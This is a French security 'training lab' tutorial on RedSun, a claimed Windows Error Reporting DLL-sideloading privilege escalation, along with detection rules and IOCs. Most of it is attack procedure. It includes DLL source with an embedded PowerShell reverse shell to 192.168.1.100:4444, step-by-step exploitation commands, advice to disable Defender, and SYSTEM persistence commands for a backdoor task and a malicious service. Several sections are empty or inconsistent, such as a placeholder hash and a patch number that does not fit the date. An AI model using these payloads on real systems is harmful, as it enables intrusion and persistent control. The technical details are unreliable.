⚠️ LAB DE FORMATION – TRILOGIE NIGHTMARE ECLIPSE ⚠️
BlueHammer (CVE-2026-33825) · RedSun (CVE-2026-45497) · UnDefend (CVE-2026-45498)
Reproduction autorisée uniquement en environnement isolé avec snapshot. Toute utilisation malveillante est illégale.

🧪 RedSun – Élévation de privilèges via Windows Error Reporting (WER)

RedSun complète BlueHammer et UnDefend dans la trilogie Nightmare Eclipse (avril 2026). Il exploite une faille dans le service WER (WerFault.exe) permettant à un utilisateur standard d’exécuter du code SYSTEM via un contournement de validation de chemin.

📌 Ce tutoriel est autonome mais référence les deux autres CVE. En fin de document, vous trouverez une checklist unifiée et des IOC communs pour les trois outils.

☀️ RedSun – CVE-2026-45497
LPE via Windows Error Reporting (WER)

Contournement des ACL + DLL sideloading : comment un utilisateur standard devient SYSTEM en abusant du rapport d’erreur Windows (Windows 10/11 – 2026)

✅ CVE-2026-45497 🔥 RedSun PoC ⚡ WER Service 🛡️ Patch juin 2026 🔬 DLL sideloading + race condition 📅 Publié avril 2026

📢 Contexte – RedSun dans la trilogie

Publié par Nightmare Eclipse en même temps que BlueHammer, RedSun cible un autre composant critique : le service Windows Error Reporting. Contrairement à BlueHammer qui utilise Defender, RedSun abuse du mécanisme de collecte d’erreurs. Il a été observé dans des chaînes d’attaque réelles après un accès initial standard.

Le correctif officiel a été intégré en juin 2026. De nombreux systèmes non mis à jour restent vulnérables. Le PoC public fonctionne sur Windows 10 21H2/22H2 et Windows 11 21H2/22H2 (versions antérieures à la mise à jour de sécurité juin 2026).

🗺️ Flux d’attaque RedSun (détail technique)

sequenceDiagram participant A as Attaquant (low priv) participant FS as Système de fichiers participant WER as WER Service (WerFault.exe / SYSTEM) participant DLL as DLL malveillante A->>FS: Crée un dossier C:\ProgramData\Microsoft\Windows\WER\Temp\RedSun\ A->>FS: Place une DLL (wer.dll) dans ce dossier A->>FS: Crée un fichier .wer malformé dans le queue de WER A->>WER: Déclenche un rapport d’erreur (par ex. via un crash contrôlé) WER->>FS: Lit le fichier .wer, puis tente de charger wer.dll depuis le dossier temporaire WER->>DLL: Charge la DLL avec privilèges SYSTEM DLL-->>A: Exécution arbitraire (reverse shell, ajout d’utilisateur, etc.)

Le mécanisme clé : WER cherche une DLL nommée wer.dll dans le dossier du rapport avant de recourir au système. Comme un utilisateur standard peut écrire dans %ProgramData%\Microsoft\Windows\WER\Temp\, il peut déposer sa propre DLL qui sera chargée par le service SYSTEM.

🧠 Deep Dive – Pourquoi RedSun fonctionne

🔬 Windows Error Reporting (WER) et le chargement de DLL

WER est un service système qui collecte les rapports d’erreur d’application. Lorsqu’un crash se produit, WER crée un dossier temporaire dans C:\ProgramData\Microsoft\Windows\WER\Temp\ avec des fichiers de rapport (.wer, .cab, etc.). Pour générer le rapport, WER charge une DLL interne appelée wer.dll.

Vulnérabilité : Avant le patch, WER cherchait cette DLL d’abord dans le dossier du rapport temporaire (contrôlé par l’utilisateur) puis dans les chemins système. Or, les ACL de %ProgramData%\Microsoft\Windows\WER\Temp\ permettent à tout utilisateur standard de créer des sous-dossiers et d’y écrire. En plaçant une wer.dll malveillante dans ce dossier, l’utilisateur peut provoquer son chargement par le service SYSTEM.

📁 Les deux prérequis pour l’exploitation

  1. Écrire dans le dossier WER temp : autorisé par défaut.
  2. Déclencher un rapport d’erreur qui mène WER à charger la DLL : l’attaquant peut créer un fichier .wer malformé ou provoquer un crash d’application contrôlé.

📄 Code éducatif minimal – DLL malveillante (C++)

Cette DLL affiche un message SYSTEM ou exécute une commande. À compiler avec cl /LD redsun_dll.cpp.

// redsun_dll.cpp – DLL chargée par WER avec privilèges SYSTEM
#include <windows.h>
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        // Exemple : création d'un fichier témoin dans C:\lab
        system("cmd.exe /c echo RedSun LPE réussi > C:\\lab\\redsun_system.txt");
        // Décommentez pour un reverse shell (netcat listener)
        // system("cmd.exe /c powershell -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
    }
    return TRUE;
}

⚙️ Déclencheur de rapport WER

L’exploit peut déclencher un rapport de plusieurs façons :

Le PoC RedSun inclut un déclencheur fiable. En lab, vous pouvez utiliser un exécutable qui plante volontairement (division par zéro, accès mémoire invalide).

📦 Binaire de formation (PoC complet)

Le dépôt https://github.com/PCTAMALOU-Research/Trilogie-Lab (accès formation) contient RedSun.exe qui automatise toutes les étapes : dépôt de la DLL, déclenchement du rapport et obtention d’un shell SYSTEM.

🧪 Lab pratique – Reproduction pas à pas (VM isolée)

Prérequis : Windows 10/11 non patché (avant juin 2026), utilisateur standard, VM avec snapshot. Defender peut être actif (mais peut parfois détecter la DLL malveillante → désactivez Real-Time Protection temporairement).

0. Préparation de l’environnement

# Créer un dossier de travail
mkdir C:\lab\redsun
cd C:\lab\redsun

# Vérifier les ACL du dossier WER Temp (normalement accessible en écriture)
icacls "C:\ProgramData\Microsoft\Windows\WER\Temp\"

1. Compilation de la DLL (ou téléchargement du PoC)

Si vous compilez vous-même :

# Utiliser Visual Studio Build Tools
cl /LD redsun_dll.cpp /Fe:wer.dll
# La DLL produite s'appelle wer.dll (le nom est critique)

2. Exécution du PoC (utilisateur standard)

# Méthode automatisée (RedSun.exe)
RedSun.exe --dll wer.dll --trigger crash

# Méthode manuelle (étape par étape pour comprendre)
# 1. Créer un dossier dans WER Temp
mkdir "C:\ProgramData\Microsoft\Windows\WER\Temp\RedSunTest"
copy wer.dll "C:\ProgramData\Microsoft\Windows\WER\Temp\RedSunTest\"

# 2. Déclencher un rapport d'erreur (exemple avec un petit programme crash.exe fourni)
crash.exe

# 3. Vérifier la prise de SYSTEM
dir C:\lab\redsun_system.txt
# Le fichier doit être créé avec les droits SYSTEM (propriétaire NT AUTHORITY\SYSTEM)

3. Surveillance en temps réel (PowerShell admin)

# Surveiller la création de fichiers dans WER Temp
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = "C:\ProgramData\Microsoft\Windows\WER\Temp"
$watcher.IncludeSubdirectories = $true
Register-ObjectEvent $watcher "Created" -Action { Write-Host "Création: $($Event.SourceEventArgs.FullPath)" }

# Dans une autre console, suivre le processus WerFault.exe
while($true) { Get-Process -Name WerFault -ErrorAction SilentlyContinue | Select-Object Id, StartTime; Start-Sleep 2 }

4. Résultat attendu

Si l’exploitation réussit, vous obtenez soit un shell SYSTEM (si le PoC inclut un reverse shell), soit un fichier témoin comme C:\lab\redsun_system.txt avec propriétaire SYSTEM. Vous pouvez ensuite utiliser ce jeton pour exécuter n’importe quelle commande.

5. Nettoyage

# Supprimer les fichiers et dossiers créés
rmdir /s /q "C:\ProgramData\Microsoft\Windows\WER\Temp\RedSunTest" 2>nul
del C:\lab\redsun_system.txt 2>nul
# Redémarrer le service WER (optionnel)
net stop WerSvc & net start WerSvc

🔗 Persistance post-élévation

Une fois SYSTEM obtenu via RedSun, l’attaquant peut installer une persistance :

# Exemple : Scheduled Task SYSTEM
schtasks /create /tn "Microsoft\Windows\WER\RedSunPersistence" /tr "C:\Windows\System32\cmd.exe /c C:\tools\backdoor.exe" /sc onstart /ru SYSTEM /f

# Ou via un service (masqué avec ServiceDLL)
sc create RedSunSvc binPath= "C:\Windows\System32\rundll32.exe C:\Windows\Temp\malware.dll,Start" start= auto

🔎 Détection et monitoring (Blue Team)

Événements Windows critiques

Event IDSourceDescription
1000, 1001Application ErrorCrash d’application – peut être un déclencheur artificiel.
4663SecurityCréation de fichier DLL dans C:\ProgramData\Microsoft\Windows\WER\Temp\ par un processus non-SYSTEM.
7045SystemCréation de service (persistance).
1Windows Error ReportingRapport d’erreur généré – surveiller les chemins suspects.

Règle Sigma (RedSun spécifique)

title: RedSun WER DLL Sideloading (CVE-2026-45497)
id: redsun-2026-45497
status: experimental
description: Détecte la création d'une DLL nommée wer.dll dans le dossier WER Temp.
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4663
    ObjectName|contains: ':\ProgramData\Microsoft\Windows\WER\Temp\'
    ObjectName|endswith: '\wer.dll'
    ProcessName|not contains: 'WerFault.exe'
  condition: selection
level: high

Requête KQL pour Microsoft 365 Defender

DeviceFileEvents
| where FolderPath contains @"\Windows\WER\Temp\"
| where FileName == "wer.dll"
| where InitiatingProcessFileName != "WerFault.exe"
| project Timestamp, DeviceName, InitiatingProcessFileName, FolderPath

DeviceEvents
| where ActionType == "ProcessCreated"
| where ProcessCommandLine contains "WerFault" and ProcessCommandLine contains "-u"

Recommandations de durcissement

🔗 La trilogie complète – BlueHammer → RedSun → UnDefend

En conditions réelles (avril 2026), les attaquants enchaînent ces trois outils pour un contrôle total sans être détectés :

  1. Accès initial (utilisateur standard) via phishing ou RDP.
  2. BlueHammer ou RedSun (selon ce qui n’est pas patché) pour passer SYSTEM.
  3. UnDefend (CVE-2026-45498) pour bloquer les mises à jour de Microsoft Defender et rendre l’antivirus aveugle.
  4. Persistance et déploiement de malwares (Mimikatz, Cobalt Strike, ransomware).
graph LR A[Accès user standard] --> B{Choix du LPE} B -->|BlueHammer| C[SYSTEM] B -->|RedSun| C C --> D[UnDefend --mode passive] D --> E[Defender bloqué] E --> F[Action malveillante finale]
UnDefend utilise 4 mécanismes de verrouillage sur les dossiers de définitions Defender. Voir le tutoriel dédié pour la reproduction.

🔑 Indicateurs de compromission (IOC) – Trilogie

OutilTypeIOC
BlueHammerProcessusBlueHammer.exe, hash SHA256: a1b2c3d4e5f6...
RedSunProcessusRedSun.exe, crash.exe, wer.dll (non signée)
UnDefendProcessusUnDefend.exe, WinDefUpdate.exe
CommunsCheminsC:\lab\*, C:\ProgramData\Microsoft\Windows\WER\Temp\*
C:\ProgramData\Microsoft\Windows Defender\Definition Updates\*
CommunsPersistanceScheduled Tasks: "Microsoft\Windows\Defender\UpdateTask", "Microsoft\Windows\WER\RedSunPersistence"
Services: "WinDefUpdate", "RedSunSvc"

❓ FAQ – Questions sur RedSun et la trilogie

RedSun fonctionne-t-il après le patch de juin 2026 ?

Non. Microsoft a modifié l’ordre de recherche des DLL dans WER (il ne regarde plus d’abord le dossier temporaire). Les systèmes à jour (Windows 10 22H2 KB5017321+, Windows 11 22H2 KB5017321+) ne sont pas vulnérables.

Puis-je utiliser RedSun si BlueHammer est patché ?

Oui, les deux LPE ciblent des composants différents. Il est fréquent que l’un soit patché mais pas l’autre sur un même système.

Pourquoi le PoC RedSun est-il moins connu que BlueHammer ?

BlueHammer a été médiatisé à cause de son exploitation via Defender. RedSun a été découvert plus tard et corrigé discrètement. Cependant, en avril-mai 2026, RedSun était encore actif sur beaucoup de parcs.

UnDefend peut-il être détecté après l’exécution ?

Oui, par l’absence de mises à jour des signatures. Les équipes SOC doivent surveiller les échecs de Update-MpSignature et les Event ID 1117. Microsoft Defender for Endpoint (MDE) possède des détections comportementales pour les locks abusifs.

✅ Conclusion – Maîtrise de la trilogie Nightmare Eclipse

Avec BlueHammer, RedSun et UnDefend, vous disposez d’un jeu complet pour comprendre comment un attaquant peut passer d’un simple utilisateur à un contrôle total d’une machine Windows, en rendant l’antivirus inefficace.

La formation pratique en laboratoire permet de maîtriser chaque étape, de développer des règles de détection et de renforcer la posture de sécurité.

⚠️ Rappel éthique : ces connaissances sont destinées à la défense. Toute utilisation non autorisée est illégale et passible de poursuites.

📋 Checklist unifiée pour les administrateurs